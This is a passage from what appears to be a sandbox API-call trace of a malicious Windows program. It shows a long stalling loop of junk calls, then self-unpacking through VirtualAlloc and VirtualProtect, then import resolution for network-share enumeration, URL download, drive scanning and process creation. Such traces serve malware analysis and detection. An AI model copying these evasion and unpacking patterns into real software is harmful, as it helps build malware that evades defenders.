lpBuffer="") returned 0x14 [0098.434] GetLastError () returned 0x3 [0098.434] AddAtomA (lpString=0x0) returned 0x0 [0098.434] AddAtomA (lpString=0x0) returned 0x0 [0098.434] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.434] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.434] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.435] GetLastError () returned 0x3 [0098.435] AddAtomA (lpString=0x0) returned 0x0 [0098.435] AddAtomA (lpString=0x0) returned 0x0 [0098.435] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.435] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.435] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.435] GetLastError () returned 0x3 [0098.435] AddAtomA (lpString=0x0) returned 0x0 [0098.435] AddAtomA (lpString=0x0) returned 0x0 [0098.435] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.435] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.435] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.435] GetLastError () returned 0x3 [0098.435] AddAtomA (lpString=0x0) returned 0x0 [0098.435] AddAtomA (lpString=0x0) returned 0x0 [0098.435] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.435] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.435] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.435] GetLastError () returned 0x3 [0098.435] AddAtomA (lpString=0x0) returned 0x0 [0098.435] AddAtomA (lpString=0x0) returned 0x0 [0098.435] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.435] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.435] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.435] GetLastError () returned 0x3 [0098.435] AddAtomA (lpString=0x0) returned 0x0 [0098.435] AddAtomA (lpString=0x0) returned 0x0 [0098.435] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.435] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.435] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.435] GetLastError () returned 0x3 [0098.435] AddAtomA (lpString=0x0) returned 0x0 [0098.435] AddAtomA (lpString=0x0) returned 0x0 [0098.435] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.435] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.435] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.435] GetLastError () returned 0x3 [0098.436] AddAtomA (lpString=0x0) returned 0x0 [0098.436] AddAtomA (lpString=0x0) returned 0x0 [0098.436] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.436] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.436] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.436] GetLastError () returned 0x3 [0098.436] AddAtomA (lpString=0x0) returned 0x0 [0098.436] AddAtomA (lpString=0x0) returned 0x0 [0098.436] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.436] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.436] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.436] GetLastError () returned 0x3 [0098.436] AddAtomA (lpString=0x0) returned 0x0 [0098.436] AddAtomA (lpString=0x0) returned 0x0 [0098.436] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.436] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.436] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.436] GetLastError () returned 0x3 [0098.436] AddAtomA (lpString=0x0) returned 0x0 [0098.436] AddAtomA (lpString=0x0) returned 0x0 [0098.436] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.436] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.436] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.436] GetLastError () returned 0x3 [0098.436] AddAtomA (lpString=0x0) returned 0x0 [0098.436] AddAtomA (lpString=0x0) returned 0x0 [0098.436] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.436] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.436] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.436] GetLastError () returned 0x3 [0098.436] AddAtomA (lpString=0x0) returned 0x0 [0098.436] AddAtomA (lpString=0x0) returned 0x0 [0098.436] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.436] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.436] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.437] GetLastError () returned 0x3 [0098.437] AddAtomA (lpString=0x0) returned 0x0 [0098.437] AddAtomA (lpString=0x0) returned 0x0 [0098.437] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.437] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.437] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.437] GetLastError () returned 0x3 [0098.437] AddAtomA (lpString=0x0) returned 0x0 [0098.437] AddAtomA (lpString=0x0) returned 0x0 [0098.437] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.437] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.437] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.437] GetLastError () returned 0x3 [0098.437] AddAtomA (lpString=0x0) returned 0x0 [0098.437] AddAtomA (lpString=0x0) returned 0x0 [0098.437] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.437] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.437] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.437] GetLastError () returned 0x3 [0098.437] AddAtomA (lpString=0x0) returned 0x0 [0098.437] AddAtomA (lpString=0x0) returned 0x0 [0098.437] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.437] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.437] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.437] GetLastError () returned 0x3 [0098.437] AddAtomA (lpString=0x0) returned 0x0 [0098.437] AddAtomA (lpString=0x0) returned 0x0 [0098.437] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.437] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.437] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.437] GetLastError () returned 0x3 [0098.437] AddAtomA (lpString=0x0) returned 0x0 [0098.437] AddAtomA (lpString=0x0) returned 0x0 [0098.437] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.438] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.438] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.438] GetLastError () returned 0x3 [0098.438] AddAtomA (lpString=0x0) returned 0x0 [0098.438] AddAtomA (lpString=0x0) returned 0x0 [0098.438] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.438] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.438] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.438] GetLastError () returned 0x3 [0098.438] AddAtomA (lpString=0x0) returned 0x0 [0098.438] AddAtomA (lpString=0x0) returned 0x0 [0098.438] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.438] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.438] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.438] GetLastError () returned 0x3 [0098.438] AddAtomA (lpString=0x0) returned 0x0 [0098.438] AddAtomA (lpString=0x0) returned 0x0 [0098.438] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.438] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.438] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.438] GetLastError () returned 0x3 [0098.438] AddAtomA (lpString=0x0) returned 0x0 [0098.438] AddAtomA (lpString=0x0) returned 0x0 [0098.438] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.438] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.438] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.438] GetLastError () returned 0x3 [0098.438] AddAtomA (lpString=0x0) returned 0x0 [0098.438] AddAtomA (lpString=0x0) returned 0x0 [0098.438] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.438] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.438] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.438] GetLastError () returned 0x3 [0098.438] AddAtomA (lpString=0x0) returned 0x0 [0098.439] AddAtomA (lpString=0x0) returned 0x0 [0098.439] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.439] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.439] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.439] GetLastError () returned 0x3 [0098.439] AddAtomA (lpString=0x0) returned 0x0 [0098.439] AddAtomA (lpString=0x0) returned 0x0 [0098.439] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.439] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.439] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.439] GetLastError () returned 0x3 [0098.439] AddAtomA (lpString=0x0) returned 0x0 [0098.439] AddAtomA (lpString=0x0) returned 0x0 [0098.439] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.439] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.439] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.439] GetLastError () returned 0x3 [0098.439] AddAtomA (lpString=0x0) returned 0x0 [0098.439] AddAtomA (lpString=0x0) returned 0x0 [0098.439] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.439] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.439] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.439] GetLastError () returned 0x3 [0098.439] AddAtomA (lpString=0x0) returned 0x0 [0098.439] AddAtomA (lpString=0x0) returned 0x0 [0098.439] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.439] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.439] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.439] GetLastError () returned 0x3 [0098.439] AddAtomA (lpString=0x0) returned 0x0 [0098.439] AddAtomA (lpString=0x0) returned 0x0 [0098.439] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.439] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.439] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.439] GetLastError () returned 0x3 [0098.440] AddAtomA (lpString=0x0) returned 0x0 [0098.440] AddAtomA (lpString=0x0) returned 0x0 [0098.440] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.440] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.440] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.440] GetLastError () returned 0x3 [0098.440] AddAtomA (lpString=0x0) returned 0x0 [0098.440] AddAtomA (lpString=0x0) returned 0x0 [0098.440] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.440] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.440] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.440] GetLastError () returned 0x3 [0098.440] AddAtomA (lpString=0x0) returned 0x0 [0098.440] AddAtomA (lpString=0x0) returned 0x0 [0098.440] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.440] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.440] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.440] GetLastError () returned 0x3 [0098.440] AddAtomA (lpString=0x0) returned 0x0 [0098.440] AddAtomA (lpString=0x0) returned 0x0 [0098.440] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.440] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.440] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.440] GetLastError () returned 0x3 [0098.440] AddAtomA (lpString=0x0) returned 0x0 [0098.440] AddAtomA (lpString=0x0) returned 0x0 [0098.440] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.440] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.440] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.440] GetLastError () returned 0x3 [0098.440] AddAtomA (lpString=0x0) returned 0x0 [0098.440] AddAtomA (lpString=0x0) returned 0x0 [0098.440] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.440] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.440] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.441] GetLastError () returned 0x3 [0098.441] AddAtomA (lpString=0x0) returned 0x0 [0098.441] AddAtomA (lpString=0x0) returned 0x0 [0098.441] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.441] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.441] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.441] GetLastError () returned 0x3 [0098.441] AddAtomA (lpString=0x0) returned 0x0 [0098.441] AddAtomA (lpString=0x0) returned 0x0 [0098.441] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.441] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.441] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.441] GetLastError () returned 0x3 [0098.441] AddAtomA (lpString=0x0) returned 0x0 [0098.441] AddAtomA (lpString=0x0) returned 0x0 [0098.441] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.441] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.441] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.441] GetLastError () returned 0x3 [0098.441] AddAtomA (lpString=0x0) returned 0x0 [0098.441] AddAtomA (lpString=0x0) returned 0x0 [0098.441] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.441] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.441] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.441] GetLastError () returned 0x3 [0098.441] AddAtomA (lpString=0x0) returned 0x0 [0098.441] AddAtomA (lpString=0x0) returned 0x0 [0098.441] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.441] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.441] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.441] GetLastError () returned 0x3 [0098.441] AddAtomA (lpString=0x0) returned 0x0 [0098.441] AddAtomA (lpString=0x0) returned 0x0 [0098.441] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.441] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.442] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.442] GetLastError () returned 0x3 [0098.442] AddAtomA (lpString=0x0) returned 0x0 [0098.442] AddAtomA (lpString=0x0) returned 0x0 [0098.442] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.442] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.442] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.442] GetLastError () returned 0x3 [0098.442] AddAtomA (lpString=0x0) returned 0x0 [0098.442] AddAtomA (lpString=0x0) returned 0x0 [0098.442] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.442] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.442] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.442] GetLastError () returned 0x3 [0098.442] AddAtomA (lpString=0x0) returned 0x0 [0098.442] AddAtomA (lpString=0x0) returned 0x0 [0098.442] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.442] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.442] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.442] GetLastError () returned 0x3 [0098.442] AddAtomA (lpString=0x0) returned 0x0 [0098.442] AddAtomA (lpString=0x0) returned 0x0 [0098.442] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.442] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.442] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.442] GetLastError () returned 0x3 [0098.442] AddAtomA (lpString=0x0) returned 0x0 [0098.442] AddAtomA (lpString=0x0) returned 0x0 [0098.442] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.442] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.442] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.442] GetLastError () returned 0x3 [0098.442] AddAtomA (lpString=0x0) returned 0x0 [0098.442] AddAtomA (lpString=0x0) returned 0x0 [0098.442] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.443] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.443] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.443] GetLastError () returned 0x3 [0098.443] AddAtomA (lpString=0x0) returned 0x0 [0098.443] AddAtomA (lpString=0x0) returned 0x0 [0098.443] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.443] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.443] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0099.097] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x773e0000 [0099.098] GetProcAddress (hModule=0x773e0000, lpProcName="VirtualAlloc") returned 0x773f1856 [0099.098] GetProcAddress (hModule=0x773e0000, lpProcName="VirtualProtect") returned 0x773f435f [0099.098] GetProcAddress (hModule=0x773e0000, lpProcName="VirtualFree") returned 0x773f186e [0099.098] GetProcAddress (hModule=0x773e0000, lpProcName="GetVersionExA") returned 0x773f3519 [0099.098] GetProcAddress (hModule=0x773e0000, lpProcName="TerminateProcess") returned 0x7740d802 [0099.098] GetVersionExA (in: lpVersionInformation=0x18ed3c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65636f72, dwMinorVersion=0x7373, dwBuildNumber=0x1, dwPlatformId=0xffffffff, szCSDVersion="s}¬w") | out: lpVersionInformation=0x18ed3c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0099.098] VirtualAlloc (lpAddress=0x0, dwSize=0x4ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0099.200] VirtualProtect (in: lpAddress=0x400000, dwSize=0x6a000, flNewProtect=0x40, lpflOldProtect=0x18fdc8 | out: lpflOldProtect=0x18fdc8*=0x2) returned 1 [0099.842] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.844] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x77150000 [0099.844] GetProcAddress (hModule=0x77150000, lpProcName="RpcStringFreeW") returned 0x77171635 [0099.844] GetProcAddress (hModule=0x77150000, lpProcName="UuidToStringW") returned 0x77191ee5 [0099.844] GetProcAddress (hModule=0x77150000, lpProcName="UuidToStringA") returned 0x771cd918 [0099.844] GetProcAddress (hModule=0x77150000, lpProcName="RpcStringFreeA") returned 0x77193fc5 [0099.844] GetProcAddress (hModule=0x77150000, lpProcName="UuidCreate") returned 0x7716f48b [0099.844] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x75390000 [0100.028] GetProcAddress (hModule=0x75390000, lpProcName="WNetCloseEnum") returned 0x75392dd6 [0100.028] GetProcAddress (hModule=0x75390000, lpProcName="WNetOpenEnumW") returned 0x75392f06 [0100.028] GetProcAddress (hModule=0x75390000, lpProcName="WNetEnumResourceW") returned 0x75393058 [0100.028] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x75bd0000 [0100.070] GetProcAddress (hModule=0x75bd0000, lpProcName="InternetOpenA") returned 0x75bff18e [0100.070] GetProcAddress (hModule=0x75bd0000, lpProcName="InternetReadFile") returned 0x75beb406 [0100.070] GetProcAddress (hModule=0x75bd0000, lpProcName="HttpQueryInfoW") returned 0x75bf5c75 [0100.070] GetProcAddress (hModule=0x75bd0000, lpProcName="InternetCloseHandle") returned 0x75beab49 [0100.070] GetProcAddress (hModule=0x75bd0000, lpProcName="InternetOpenW") returned 0x75bf9197 [0100.071] GetProcAddress (hModule=0x75bd0000, lpProcName="InternetOpenUrlW") returned 0x75c4be5c [0100.071] GetProcAddress (hModule=0x75bd0000, lpProcName="InternetOpenUrlA") returned 0x75c130f1 [0100.071] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x75350000 [0100.175] GetProcAddress (hModule=0x75350000, lpProcName="timeGetTime") returned 0x753526e0 [0100.175] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x76e40000 [0100.175] GetProcAddress (hModule=0x76e40000, lpProcName="PathFindExtensionW") returned 0x76e5a1b9 [0100.176] GetProcAddress (hModule=0x76e40000, lpProcName="PathFindFileNameW") returned 0x76e5bb71 [0100.176] GetProcAddress (hModule=0x76e40000, lpProcName="PathFileExistsA") returned 0x76e7ad1a [0100.176] GetProcAddress (hModule=0x76e40000, lpProcName="PathAppendW") returned 0x76e581ef [0100.176] GetProcAddress (hModule=0x76e40000, lpProcName="PathRemoveFileSpecW") returned 0x76e53248 [0100.176] GetProcAddress (hModule=0x76e40000, lpProcName="PathAppendA") returned 0x76e4d65e [0100.176] GetProcAddress (hModule=0x76e40000, lpProcName="PathFileExistsW") returned 0x76e545bf [0100.176] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x773e0000 [0100.176] GetProcAddress (hModule=0x773e0000, lpProcName="GetTimeFormatW") returned 0x7740f481 [0100.176] GetProcAddress (hModule=0x773e0000, lpProcName="GetDateFormatW") returned 0x774134d7 [0100.176] GetProcAddress (hModule=0x773e0000, lpProcName="EnumSystemLocalesW") returned 0x7747425f [0100.177] GetProcAddress (hModule=0x773e0000, lpProcName="GetUserDefaultLCID") returned 0x773f3da5 [0100.177] GetProcAddress (hModule=0x773e0000, lpProcName="IsValidLocale") returned 0x7740ce46 [0100.177] GetProcAddress (hModule=0x773e0000, lpProcName="GetLocaleInfoW") returned 0x773f3c42 [0100.177] GetProcAddress (hModule=0x773e0000, lpProcName="GetCommandLineW") returned 0x773f5223 [0100.177] GetProcAddress (hModule=0x773e0000, lpProcName="GetFileSize") returned 0x773f196e [0100.177] GetProcAddress (hModule=0x773e0000, lpProcName="FindFirstFileW") returned 0x773f4435 [0100.177] GetProcAddress (hModule=0x773e0000, lpProcName="SetFilePointer") returned 0x773f17d1 [0100.177] GetProcAddress (hModule=0x773e0000, lpProcName="lstrlenA") returned 0x773f5a4b [0100.177] GetProcAddress (hModule=0x773e0000, lpProcName="SetErrorMode") returned 0x773f1b00 [0100.177] GetProcAddress (hModule=0x773e0000, lpProcName="CreateProcessW") returned 0x773f103d [0100.178] GetProcAddress (hModule=0x773e0000, lpProcName="CreateDirectoryW") returned 0x773f4259 [0100.178] GetProcAddress (hModule=0x773e0000, lpProcName="WaitForSingleObject") returned 0x773f1136 [0100.178] GetProcAddress (hModule=0x773e0000, lpProcName="GetLogicalDrives") returned 0x773f5371 [0100.178] GetProcAddress (hModule=0x773e0000, lpProcName="VirtualFree") returned 0x773f186e [0100.178] GetProcAddress (hModule=0x773e0000, lpProcName="WriteFile") returned 0x773f1282 [0100.178] GetProcAddress (hModule=0x773e0000, lpProcName="GetDriveTypeA") returned 0x7740ef75 [0100.178] GetProcAddress (hModule=0x773e0000, lpProcName="OpenProcess") returned 0x773f1986 [0100.178] GetProcAddress (hModule=0x773e0000, lpProcName="GlobalAlloc") returned 0x773f588e [0100.178] GetProcAddress (hModule=0x773e0000, lpProcName="GetSystemDirectoryW") returned 0x773f5063 [0100.178] GetProcAddress (hModule=0x773e0000, lpProcName="WideCharToMultiByte") returned 0x773f170d [0100.179] GetProcAddress (hModule=0x773e0000, lpProcName="LoadLibraryW") returned 0x773f492b [0100.179] GetProcAddress (hModule=0x773e0000, lpProcName="Sleep") returned 0x773f10ff [0100.179] GetProcAddress (hModule=0x773e0000, lpProcName="CopyFileW") returned 0x7741830d [0100.179] GetProcAddress (hModule=0x773e0000, lpProcName="FormatMessageW") returned 0x773f4620 [0100.179] GetProcAddress (hModule=0x773e0000, lpProcName="lstrcpynW") returned 0x7741d556 [0100.179] GetProcAddress 